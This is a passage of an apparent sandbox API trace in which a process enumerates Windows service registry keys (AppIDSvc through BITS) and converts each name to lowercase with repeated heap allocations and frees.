lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.962] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.962] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.962] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.963] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.963] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.964] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.964] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.964] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.965] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.965] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.965] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.966] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.966] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.966] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.967] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.967] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.967] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.968] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.968] 